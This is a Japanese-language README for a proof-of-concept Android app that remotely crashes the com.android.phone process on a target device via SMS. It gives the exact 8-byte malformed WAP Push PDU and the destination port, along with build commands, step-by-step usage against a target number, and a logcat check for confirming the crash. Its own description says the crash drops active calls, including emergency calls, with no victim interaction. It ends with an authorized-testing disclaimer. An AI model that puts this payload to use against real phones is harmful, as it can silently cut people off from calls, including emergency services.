
SMS経由で不正な8バイトのWAP Push PDUを送信し、com.android.phoneをリモートでクラッシュさせ、対象端末の通話をサイレントに切断するAndroid PoCアプリ。
細工された 8 バイトの WAP Push PDU を SMS 経由で対象の端末に送信する
Proof-of-concept の Android アプリ。不正な形式の PDU は
WapPushOverSms.decodeWapPdu 内で NegativeArraySizeException を引き起こし、
これが InboundSmsHandler で捕捉されないまま受信側デバイスの
com.android.phone を強制終了させる — 被害者の操作を一切必要とせず、通話中の通話(緊急通話を含む)を切断する。
詳細な解説: https://smsofdeath.com/
01 06 88 80 80 80 00 BE → sent as a data SMS to port 2948
./gradlew assembleDebug
出力: app/build/outputs/apk/debug/app-debug.apk
Android SDK が必要です。SDK のパスを記述した local.properties を作成してください
(Android Studio では自動的に作成されます):
sdk.dir=/path/to/Android/sdk
送信側デバイスにインストールし、対象の番号を入力するか(または有効な SIM から自動入力し)、 送信に使用する SIM を選択して SEND CRASH SMS をタップします。対象側で以下を確認します:
adb logcat | grep -E 'NegativeArraySize|WapPushOverSms|com.android.phone'
期待される結果: 約 1〜2 秒以内に com.android.phone で FATAL EXCEPTION が発生し、
そのプロセスの PID が変化し、一時的に電波が失われます。
minSdk 30、targetSdk/compileSdk 35。SEND_SMS、READ_PHONE_NUMBERS、READ_PHONE_STATE が必要です。許可されたセキュリティ研究、および自身が所有する、または明示的な許可を得てテストする デバイスでのテストにのみ使用してください。同意のないシステムや人物に対して使用しないでください。